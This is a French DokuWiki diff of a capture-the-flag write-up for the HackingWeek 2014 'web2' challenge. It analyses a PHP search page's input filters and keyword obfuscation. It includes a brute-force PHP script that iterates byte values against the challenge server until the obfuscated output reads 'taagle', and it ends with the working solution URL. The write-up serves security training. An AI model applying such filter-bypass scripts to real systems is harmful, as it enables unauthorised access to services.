Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
|
hackingweek_2014:web:web2 [2014/03/06 17:20] telnes |
hackingweek_2014:web:web2 [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 5: | Ligne 5: | ||
| code index.php | code index.php | ||
| - | |||
| <code html> | <code html> | ||
| <?php session_start(); ?> | <?php session_start(); ?> | ||
| Ligne 225: | Ligne 224: | ||
| Pour accéder à la page success.php qui provoque le "**cataclysme**" il faut que la condition ($query == "taagle") soit validé dans la fonction search_query($query). | Pour accéder à la page success.php qui provoque le "**cataclysme**" il faut que la condition ($query == "taagle") soit validé dans la fonction search_query($query). | ||
| - | Analyse des différents filtre effectué sur $query: | ||
| + | Première analyse des filtres effectués en début de code sur $query ($_GET): | ||
| - | Première analyse des filtres effectués en début de code : | ||
| $query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'ISO-8859-1'); | $query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'ISO-8859-1'); | ||
| * http://us3.php.net/manual/fr/function.htmlspecialchars.php fonction PHP qui permet de convertir les caractères &<>'" en leur équivalent HTML | * http://us3.php.net/manual/fr/function.htmlspecialchars.php fonction PHP qui permet de convertir les caractères &<>'" en leur équivalent HTML | ||
| Ligne 235: | Ligne 233: | ||
| * http://us3.php.net/manual/fr/function.strtolower.php fonction PHP qui permet de mettre une chaine en minuscule | * http://us3.php.net/manual/fr/function.strtolower.php fonction PHP qui permet de mettre une chaine en minuscule | ||
| $query = truncate_query($query); | $query = truncate_query($query); | ||
| - | * fonction définie dans le code qui permet de tronquer une chaine à 50 caractère max. | + | * fonction définie dans le code qui permet de tronquer une chaine à 50 caractères max. |
| $query = forbidden_query($query); | $query = forbidden_query($query); | ||
| * fonction définie dans le code qui permet d'obfusquer (masquer) une chaine si elle contient des mots clés (google,taagle,bing...) | * fonction définie dans le code qui permet d'obfusquer (masquer) une chaine si elle contient des mots clés (google,taagle,bing...) | ||
| $query = filter_query($query); | $query = filter_query($query); | ||
| * fonction définie dans le code qui permet de remplacer "\r", "\n", "\t", "\\" par "\n" et de conserver que la première partie | * fonction définie dans le code qui permet de remplacer "\r", "\n", "\t", "\\" par "\n" et de conserver que la première partie | ||
| + | |||
| + | |||
| + | |||
| + | |||
| - | + | La fonction search_query est appelé via "$results = search_query($query);" après l'appel des filtres. | |
| - | La fonction search_query est appelé via | + | |
| - | $results = search_query($query); | ||
| - | après l'appel des filtres. | ||
| Si on entre le mot clé "taagle" dans le champs de recherche nous avons en résultat "$�=" ce qui est pas top :) (l'obfuscation fonctionne bien) | Si on entre le mot clé "taagle" dans le champs de recherche nous avons en résultat "$�=" ce qui est pas top :) (l'obfuscation fonctionne bien) | ||
| Ligne 277: | Ligne 276: | ||
| si l'on fait | si l'on fait | ||
| - | filter_query("test\t taagle");//test taagle | + | filter_query("test\t taagle");# test taagle |
| va retourné $�/eJ.�25 car la présence du mot clé "taagle" nous fait entrer dans la fonction d'obfuscation. | va retourné $�/eJ.�25 car la présence du mot clé "taagle" nous fait entrer dans la fonction d'obfuscation. | ||
| - | il faut donc faire un script qui poster une chaine de caractère de la forme : | + | il faut donc faire un script qui poste une chaine de caractère de la forme : |
| - | <caractère> \t taagle | + | <caractères> \t taagle |
| - | ou l'on fait une itération sur <caractère> (caractère ascii 00 caractère ascii 01 caractère ascii 02 ....) jusqu'a l'obtention d'un t | + | ou l'on fait une itération sur chaque <caractère> (caractère ascii 00 caractère ascii 01 caractère ascii 02 ....) jusqu'a l'obtention d'un **t** |
| - | puis on cherche le deuxième caractère qui donne un a ... et ainsi de suite. | + | puis on cherche le deuxième caractère qui donne un **a** ... et ainsi de suite. |
| Ligne 293: | Ligne 292: | ||
| le code se résume à "$start.$char.'taagle'" | le code se résume à "$start.$char.'taagle'" | ||
| - | $start = le début de la chaine (vide au début) | + | * $start = le début de la chaine (vide au début) |
| - | $char = itération pour chercher | + | * $char = itération pour chercher |
| - | 'taagle' = pour forcer l'obfuscation | + | * 'taagle' = pour forcer l'obfuscation |
| <code php> | <code php> | ||
| <?php | <?php | ||
| - | //url du moteur taagle | + | # url du moteur taagle |
| $url = "http://91.121.9.92/web2/search.php?query="; | $url = "http://91.121.9.92/web2/search.php?query="; | ||
| - | //ce que l'on cherche à obtenir dans la réponse du moteur de recherche | + | # ce que l'on cherche à obtenir dans la réponse du moteur de recherche |
| $comps = str_split('taagle'."\t"); | $comps = str_split('taagle'."\t"); | ||
| $start=""; | $start=""; | ||
| - | foreach($comps as $key=>$cmp){ //pour chaque char recherché | + | foreach($comps as $key=>$cmp){ #pour chaque char recherché |
| - | for($i=0;$i<256;$i++){ // on boucle sur la table ascii 256 // 128 n'a pas trouvé toute les lettres | + | for($i=0;$i<256;$i++){ # on boucle sur la table ascii 256 # 128 n'a pas trouvé toute les lettres |
| - | $char = chr($i); // on convertie l'int en caractère ascii // string chr ( int $ascii ) | + | $char = chr($i); # on convertie l'int en caractère ascii # string chr ( int $ascii ) |
| - | $res = getQuery($url,urlencode($start.$char.'taagle')); //récupère le résultat de la page | + | $res = getQuery($url,urlencode($start.$char.'taagle')); # récupère le résultat de la page |
| - | if(!isset($res[1][0])){ // si pas de résultat | + | if(!isset($res[1][0])){ # si pas de résultat |
| - | $http = file_get_contents($url.urlencode($start.$char.'taagle')); // on récupère la page avec notre mot ($start) | + | $http = file_get_contents($url.urlencode($start.$char.'taagle')); # on récupère la page avec notre mot ($start) |
| - | if (strpos($http,'cataclysme') !== false) { // si il y a cataclysme sur la page | + | if (strpos($http,'cataclysme') !== false) { # si il y a cataclysme sur la page |
| - | echo "\n\n url $url".urlencode($start.$char.'taagle'); // on affiche l'url trouvé afin de la consulter | + | echo "\n\n url $url".urlencode($start.$char.'taagle'); # on affiche l'url trouvé afin de la consulter |
| - | exit(); // fin | + | exit(); # fin |
| } | } | ||
| } | } | ||
| - | else{ // sinon (il y a une réponse) | + | else{ # sinon (il y a une réponse) |
| $tmp = (string)$res[1][0]; | $tmp = (string)$res[1][0]; | ||
| $str = str_split($res[1][0]); | $str = str_split($res[1][0]); | ||
| - | echo "."; // des petits points | + | echo "."; # des petits points |
| - | if(ord($str[$key]) == ord($cmp)){ // si le mot chercher est dans la page on concatène le caractère qui à permis de l'obtenir à $start | + | if(ord($str[$key]) == ord($cmp)){ # si le mot chercher est dans la page on concatène le caractère qui à permis de l'obtenir à $start |
| - | echo "\n".urlencode($char)." : ".urlencode($cmp)."\n"; // on affiche | + | echo "\n".urlencode($char)." : ".urlencode($cmp)."\n"; # on affiche |
| $start=$start."$char"; | $start=$start."$char"; | ||
| break; | break; | ||
| Ligne 333: | Ligne 332: | ||
| - | function getQuery($url,$query){ //récupère le résultat de la requete faite au moteur taagle | + | function getQuery($url,$query){ #r écupère le résultat de la requete faite au moteur taagle |
| $res = file_get_contents($url.$query); | $res = file_get_contents($url.$query); | ||
| - | $patern="@<span>(.*)</span>@";//<span>query.net</span> | + | $patern="@<span>(.*)</span>@";# <span>$query.net</span> |
| preg_match_all($patern,$res,$matches); | preg_match_all($patern,$res,$matches); | ||
| Ligne 343: | Ligne 342: | ||
| ?> | ?> | ||
| </code> | </code> | ||
| + | |||
| + | http://img15.hostingpics.net/pics/981774web2.png | ||
| + | |||
| + | |||
| la solution est | la solution est | ||
| http://91.121.9.92/web2/search.php?query=7%9A2%19%02%06%3Btaagle | http://91.121.9.92/web2/search.php?query=7%9A2%19%02%06%3Btaagle | ||
| + | |||
| + | |||
| + | http://img15.hostingpics.net/pics/317320cataclysme.png | ||
| + | http://img15.hostingpics.net/pics/533569success.png | ||